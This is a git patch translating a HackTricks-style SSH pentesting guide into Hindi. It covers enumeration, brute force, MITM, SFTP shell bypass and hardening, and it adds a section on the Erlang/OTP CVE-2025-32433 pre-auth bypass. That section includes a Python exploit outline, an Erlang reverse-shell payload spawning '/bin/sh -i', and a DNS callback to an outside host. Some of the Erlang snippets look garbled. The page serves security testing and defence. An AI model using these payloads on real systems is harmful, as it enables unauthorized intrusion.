From 7392c3765ee6c29b2f63476d9fd3fe0173a4f894 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:19:20 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-ssh.md'] to hi --- .../pentesting-ssh.md | 102 ++++++++++++++---- 1 file changed, 79 insertions(+), 23 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index e46a841a4..42c8e7d15 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -12,8 +12,8 @@ ``` **SSH सर्वर:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux वितरणों और Windows 10 से Windows में शिप किया गया -- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – कम मेमोरी और प्रोसेसर संसाधनों वाले वातावरण के लिए SSH कार्यान्वयन, OpenWrt में शिप किया गया +- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux वितरणों और Windows 10 से Windows में शामिल +- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – कम मेमोरी और प्रोसेसर संसाधनों वाले वातावरण के लिए SSH कार्यान्वयन, OpenWrt में शामिल - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows के लिए SSH कार्यान्वयन, क्लाइंट सामान्यतः उपयोग किया जाता है लेकिन सर्वर का उपयोग कम होता है - [CopSSH](https://www.itefix.net/copssh) – Windows के लिए OpenSSH का कार्यान्वयन @@ -42,13 +42,13 @@ ssh-audit एक उपकरण है जो ssh सर्वर और क् - SSH क्लाइंट कॉन्फ़िगरेशन का विश्लेषण करें; - बैनर प्राप्त करें, डिवाइस या सॉफ़्टवेयर और ऑपरेटिंग सिस्टम को पहचानें, संकुचन का पता लगाएं; - कुंजी-परिवर्तन, होस्ट-कुंजी, एन्क्रिप्शन और संदेश प्रमाणीकरण कोड एल्गोरिदम एकत्र करें; -- एल्गोरिदम जानकारी आउटपुट करें (उपलब्धता से, हटा/अक्षम, असुरक्षित/कमजोर/पुराना, आदि); -- एल्गोरिदम सिफारिशें आउटपुट करें (पहचाने गए सॉफ़्टवेयर संस्करण के आधार पर जोड़ें या हटाएं); -- सुरक्षा जानकारी आउटपुट करें (संबंधित मुद्दे, असाइन किए गए CVE सूची, आदि); +- एल्गोरिदम जानकारी का आउटपुट (उपलब्धता से, हटा/अक्षम, असुरक्षित/कमजोर/पुराना, आदि); +- एल्गोरिदम सिफारिशों का आउटपुट (पहचाने गए सॉफ़्टवेयर संस्करण के आधार पर जोड़ें या हटाएं); +- सुरक्षा जानकारी का आउटपुट (संबंधित मुद्दे, असाइन किए गए CVE सूची, आदि); - एल्गोरिदम जानकारी के आधार पर SSH संस्करण संगतता का विश्लेषण करें; - OpenSSH, Dropbear SSH और libssh से ऐतिहासिक जानकारी; - Linux और Windows पर चलता है; -- कोई निर्भरताएँ नहीं +- कोई निर्भरता नहीं ```bash usage: ssh-audit.py [-1246pbcnjvlt] @@ -79,7 +79,7 @@ ssh-keyscan -t rsa -p यह डिफ़ॉल्ट रूप से **nmap** द्वारा खोजा जाता है। लेकिन आप **sslcan** या **sslyze** का भी उपयोग कर सकते हैं। -### Nmap स्क्रिप्ट्स +### Nmap स्क्रिप्ट ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version @@ -91,11 +91,11 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a - `ssh` -## Brute force usernames, passwords and private keys +## ब्रूट फोर्स यूजरनेम, पासवर्ड और प्राइवेट कीज़ -### Username Enumeration +### यूजरनेम एन्यूमरेशन -कुछ OpenSSH संस्करणों में, आप उपयोगकर्ताओं की गणना करने के लिए एक टाइमिंग अटैक कर सकते हैं। आप इसे शोषण करने के लिए एक मेटास्प्लॉट मॉड्यूल का उपयोग कर सकते हैं: +कुछ OpenSSH संस्करणों में आप यूजर्स को एन्यूमरेट करने के लिए टाइमिंग अटैक कर सकते हैं। आप इसे एक्सप्लॉइट करने के लिए एक मेटास्प्लॉइट मॉड्यूल का उपयोग कर सकते हैं: ``` msf> use scanner/ssh/ssh_enumusers ``` @@ -123,7 +123,7 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized #### Weak SSH keys / Debian predictable PRNG -कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले रैंडम सीड में ज्ञात दोष होते हैं। इससे कीस्पेस में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न की गई पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +कुछ सिस्टम में क्रिप्टोग्राफिक सामग्री उत्पन्न करने के लिए उपयोग किए जाने वाले रैंडम सीड में ज्ञात दोष होते हैं। इससे कुंजी स्थान में नाटकीय रूप से कमी आ सकती है जिसे ब्रूटफोर्स किया जा सकता है। कमजोर PRNG से प्रभावित डेबियन सिस्टम पर उत्पन्न की गई पूर्व-निर्मित कुंजी सेट यहाँ उपलब्ध हैं: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). आपको पीड़ित मशीन के लिए वैध कुंजी खोजने के लिए यहाँ देखना चाहिए। @@ -157,8 +157,8 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized **हमले का मार्ग:** -- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर पीड़ित के ट्रैफ़िक को अपनी मशीन पर **हस्तांतरित** करता है, प्रभावी रूप से SSH सर्वर से कनेक्शन प्रयास को **अवरोधित** करता है। -- **हस्तक्षेप और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरण को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है। +- **ट्रैफ़िक पुनर्निर्देशन:** हमलावर **पीड़ित के ट्रैफ़िक को** अपनी मशीन पर मोड़ता है, प्रभावी रूप से SSH सर्वर के लिए कनेक्शन प्रयास को **अवरोधित** करता है। +- **अवरोधन और लॉगिंग:** हमलावर की मशीन एक **प्रॉक्सी** के रूप में कार्य करती है, उपयोगकर्ता के लॉगिन विवरण को वैध SSH सर्वर होने का नाटक करके **कैप्चर** करती है। - **कमांड निष्पादन और रिले:** अंततः, हमलावर का सर्वर **उपयोगकर्ता के क्रेडेंशियल्स को लॉग करता है**, **कमांड को वास्तविक SSH सर्वर पर अग्रेषित करता है**, **उन्हें निष्पादित करता है**, और **परिणामों को उपयोगकर्ता को वापस भेजता है**, जिससे प्रक्रिया सहज और वैध प्रतीत होती है। [**SSH MITM**](https://github.com/jtesta/ssh-mitm) ठीक वही करता है जो ऊपर वर्णित है। @@ -182,12 +182,12 @@ SSH-Snake निम्नलिखित कार्यों को स्व ### Root login -यह सामान्य है कि SSH सर्वर डिफ़ॉल्ट रूप से रूट उपयोगकर्ता लॉगिन की अनुमति देते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करता है। **रूट लॉगिन को अक्षम करना** सर्वर को सुरक्षित करने में एक महत्वपूर्ण कदम है। प्रशासनिक विशेषाधिकारों के साथ अनधिकृत पहुंच और ब्रूट फोर्स हमलों को इस परिवर्तन के द्वारा कम किया जा सकता है। +यह सामान्य है कि SSH सर्वर डिफ़ॉल्ट रूप से रूट उपयोगकर्ता लॉगिन की अनुमति देते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करता है। **रूट लॉगिन को अक्षम करना** सर्वर को सुरक्षित करने में एक महत्वपूर्ण कदम है। प्रशासनिक विशेषाधिकारों के साथ अनधिकृत पहुंच और ब्रूट फोर्स हमलों को इस परिवर्तन से कम किया जा सकता है। **OpenSSH में रूट लॉगिन को अक्षम करने के लिए:** 1. **SSH कॉन्फ़िग फ़ाइल को संपादित करें**: `sudoedit /etc/ssh/sshd_config` -2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`**। +2. **सेटिंग को बदलें**: `#PermitRootLogin yes` से **`PermitRootLogin no`** में। 3. **कॉन्फ़िगरेशन को पुनः लोड करें**: `sudo systemctl daemon-reload` 4. **परिवर्तनों को लागू करने के लिए SSH सर्वर को पुनः प्रारंभ करें**: `sudo systemctl restart sshd` @@ -197,7 +197,7 @@ SSH-Snake निम्नलिखित कार्यों को स्व ### SFTP command execution -SFTP सेटअप के साथ एक सामान्य चूक होती है, जहां व्यवस्थापक उपयोगकर्ताओं को फ़ाइलों का आदान-प्रदान करने के लिए सक्षम करना चाहते हैं बिना दूरस्थ शेल पहुंच को सक्षम किए। उपयोगकर्ताओं को गैर-इंटरैक्टिव शेल (जैसे, `/usr/bin/nologin`) के साथ सेट करने और उन्हें एक विशिष्ट निर्देशिका में सीमित करने के बावजूद, एक सुरक्षा छिद्र बना रहता है। **उपयोगकर्ता इन प्रतिबंधों को दरकिनार कर सकते हैं** लॉगिन के तुरंत बाद एक कमांड (जैसे `/bin/bash`) के निष्पादन का अनुरोध करके, इससे पहले कि उनका निर्दिष्ट गैर-इंटरैक्टिव शेल नियंत्रण ले ले। यह अनधिकृत कमांड निष्पादन की अनुमति देता है, जो इच्छित सुरक्षा उपायों को कमजोर करता है। +SFTP सेटअप के साथ एक सामान्य चूक होती है, जहां व्यवस्थापक उपयोगकर्ताओं को बिना दूरस्थ शेल एक्सेस सक्षम किए फ़ाइलों का आदान-प्रदान करने का इरादा रखते हैं। उपयोगकर्ताओं को गैर-इंटरैक्टिव शेल (जैसे, `/usr/bin/nologin`) के साथ सेट करने और उन्हें एक विशिष्ट निर्देशिका में सीमित करने के बावजूद, एक सुरक्षा छिद्र बना रहता है। **उपयोगकर्ता इन प्रतिबंधों को दरकिनार कर सकते हैं** लॉगिन के तुरंत बाद एक कमांड (जैसे `/bin/bash`) निष्पादित करने का अनुरोध करके, इससे पहले कि उनका निर्दिष्ट गैर-इंटरैक्टिव शेल नियंत्रण ले ले। यह अनधिकृत कमांड निष्पादन की अनुमति देता है, जो इच्छित सुरक्षा उपायों को कमजोर करता है। [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -232,9 +232,9 @@ PermitTunnel no X11Forwarding no PermitTTY no ``` -यह कॉन्फ़िगरेशन केवल SFTP की अनुमति देगा: स्टार्ट कमांड को मजबूर करके शेल एक्सेस को अक्षम करना और TTY एक्सेस को अक्षम करना, बल्कि सभी प्रकार के पोर्ट फॉरवर्डिंग या टनलिंग को भी अक्षम करना। +यह कॉन्फ़िगरेशन केवल SFTP की अनुमति देगा: स्टार्ट कमांड को मजबूर करके शेल एक्सेस को अक्षम करना और TTY एक्सेस को अक्षम करना, लेकिन सभी प्रकार के पोर्ट फॉरवर्डिंग या टनलिंग को भी अक्षम करना। -### SFTP Tunneling +### SFTP टनलिंग यदि आपके पास SFTP सर्वर तक पहुंच है, तो आप उदाहरण के लिए सामान्य पोर्ट फॉरवर्डिंग का उपयोग करके अपने ट्रैफ़िक को इसके माध्यम से टनल कर सकते हैं: ```bash @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @ symlink / froot ### प्रमाणीकरण विधियाँ -उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को निष्क्रिय किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को निष्क्रिय नहीं करना। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके, एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है: +उच्च सुरक्षा वातावरण में केवल कुंजी-आधारित या दो-कारक प्रमाणीकरण को सक्षम करना एक सामान्य प्रथा है, बजाय साधारण कारक पासवर्ड आधारित प्रमाणीकरण के। लेकिन अक्सर मजबूत प्रमाणीकरण विधियाँ सक्षम की जाती हैं बिना कमजोर विधियों को निष्क्रिय किए। एक सामान्य मामला `publickey` को openSSH कॉन्फ़िगरेशन में सक्षम करना और इसे डिफ़ॉल्ट विधि के रूप में सेट करना है लेकिन `password` को निष्क्रिय नहीं करना है। इसलिए SSH क्लाइंट के विस्तृत मोड का उपयोग करके एक हमलावर देख सकता है कि एक कमजोर विधि सक्षम है: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 @@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` -SSH सर्वर कॉन्फ़िगरेशन की समीक्षा करना आवश्यक है कि केवल अपेक्षित विधियाँ अधिकृत हैं। क्लाइंट पर विस्तृत मोड का उपयोग करने से कॉन्फ़िगरेशन की प्रभावशीलता को देखना आसान हो सकता है। +SSH सर्वर कॉन्फ़िगरेशन की समीक्षा करना आवश्यक है कि केवल अपेक्षित विधियाँ अधिकृत हैं। क्लाइंट पर विस्तृत मोड का उपयोग करने से कॉन्फ़िगरेशन की प्रभावशीलता को देखने में मदद मिल सकती है। ### Config files ```bash @@ -281,10 +281,66 @@ id_rsa - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) +## Authentication State-Machine Bypass (Pre-Auth RCE) + +कई SSH सर्वर कार्यान्वयन में **प्रमाणीकरण सीमित-राज्य मशीन** में तार्किक दोष होते हैं जो एक क्लाइंट को *कनेक्शन-प्रोटोकॉल* संदेश भेजने की अनुमति देते हैं **पहले** कि प्रमाणीकरण पूरा हो जाए। क्योंकि सर्वर यह सत्यापित करने में विफल रहता है कि यह सही स्थिति में है, उन संदेशों को इस तरह से संभाला जाता है जैसे कि उपयोगकर्ता पूरी तरह से प्रमाणीकृत हो, जिससे **अप्रमाणीकृत कोड निष्पादन** या सत्र निर्माण होता है। + +प्रोटोकॉल स्तर पर, कोई भी SSH संदेश जिसमें _संदेश कोड_ **≥ 80** (0x50) है, *कनेक्शन* परत (RFC 4254) से संबंधित है और इसे **केवल सफल प्रमाणीकरण के बाद स्वीकार किया जाना चाहिए** (RFC 4252)। यदि सर्वर उन संदेशों में से एक को *SSH_AUTHENTICATION* स्थिति में रहते हुए संसाधित करता है, तो हमलावर तुरंत एक चैनल बना सकता है और कमांड निष्पादन, पोर्ट-फॉरवर्डिंग आदि जैसी क्रियाओं का अनुरोध कर सकता है। + +### Generic Exploitation Steps +1. लक्ष्य के SSH पोर्ट (आम तौर पर 22, लेकिन अन्य सेवाएं 2022, 830, 2222… पर Erlang/OTP को उजागर कर सकती हैं) पर एक TCP कनेक्शन स्थापित करें। +2. एक कच्चा SSH पैकेट तैयार करें: +* 4-बाइट **packet_length** (बिग-एंडियन) +* 1-बाइट **message_code** ≥ 80 (जैसे `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) +* वह पेलोड जो चुने गए संदेश प्रकार द्वारा समझा जाएगा +3. पैकेट(s) को **किसी भी प्रमाणीकरण चरण को पूरा करने से पहले** भेजें। +4. सर्वर APIs के साथ इंटरैक्ट करें जो अब _pre-auth_ (कमांड निष्पादन, पोर्ट फॉरवर्डिंग, फ़ाइल-प्रणाली पहुंच, …) के रूप में उजागर हैं। + +Python proof-of-concept outline: +```python +import socket, struct +HOST, PORT = '10.10.10.10', 22 +s = socket.create_connection((HOST, PORT)) +# skip version exchange for brevity – send your own client banner then read server banner +# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner +# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) +pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +व्यवहार में, आपको लक्षित कार्यान्वयन के अनुसार कुंजी-परिवर्तन करना होगा (या छोड़ना होगा), लेकिन **कोई प्रमाणीकरण** कभी नहीं किया जाता है। + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **प्रभावित संस्करण:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **मूल कारण:** Erlang का स्वदेशी SSH डेमन वर्तमान स्थिति को मान्य नहीं करता है जब `ssh_connection:handle_msg/2` को बुलाया जाता है। इसलिए, कोई भी पैकेट जिसमें संदेश कोड 80-255 है, कनेक्शन हैंडलर तक पहुंचता है जबकि सत्र अभी भी *userauth* स्थिति में है। +* **प्रभाव:** प्रमाणीकरण रहित **दूरस्थ कोड निष्पादन** (डेमन आमतौर पर एम्बेडेड/OT उपकरणों पर **रूट** के रूप में चलता है)। + +उदाहरण पेलोड जो हमलावर-नियंत्रित चैनल से बंधा एक रिवर्स शेल उत्पन्न करता है: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +ब्लाइंड RCE / आउट-ऑफ-बैंड डिटेक्शन DNS के माध्यम से किया जा सकता है: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detection & Mitigation: +* SSH ट्रैफ़िक की जांच करें: **प्रमाणीकरण से पहले देखे गए संदेश कोड ≥ 80 के साथ किसी भी पैकेट को गिरा दें**। +* Erlang/OTP को **27.3.3 / 26.2.5.11 / 25.3.2.20** या नए संस्करण में अपग्रेड करें। +* प्रबंधन पोर्ट्स (22/2022/830/2222) के एक्सपोज़र को सीमित करें - विशेष रूप से OT उपकरणों पर। + +--- +### Other Implementations Affected +* **libssh** 0.6 – 0.8 (सर्वर साइड) – **CVE-2018-10933** – क्लाइंट द्वारा भेजे गए एक अप्रमाणित `SSH_MSG_USERAUTH_SUCCESS` को स्वीकार करता है, प्रभावी रूप से विपरीत लॉजिक दोष। + +सामान्य पाठ यह है कि RFC-निर्धारित राज्य संक्रमणों से कोई भी विचलन घातक हो सकता है; SSH डेमन्स की समीक्षा करते समय या फज़िंग करते समय *राज्य-यांत्रिकी प्रवर्तन* पर विशेष ध्यान दें। + ## References -- आप SSH को मजबूत करने के लिए दिलचस्प गाइड [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) पर पा सकते हैं -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) +- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ```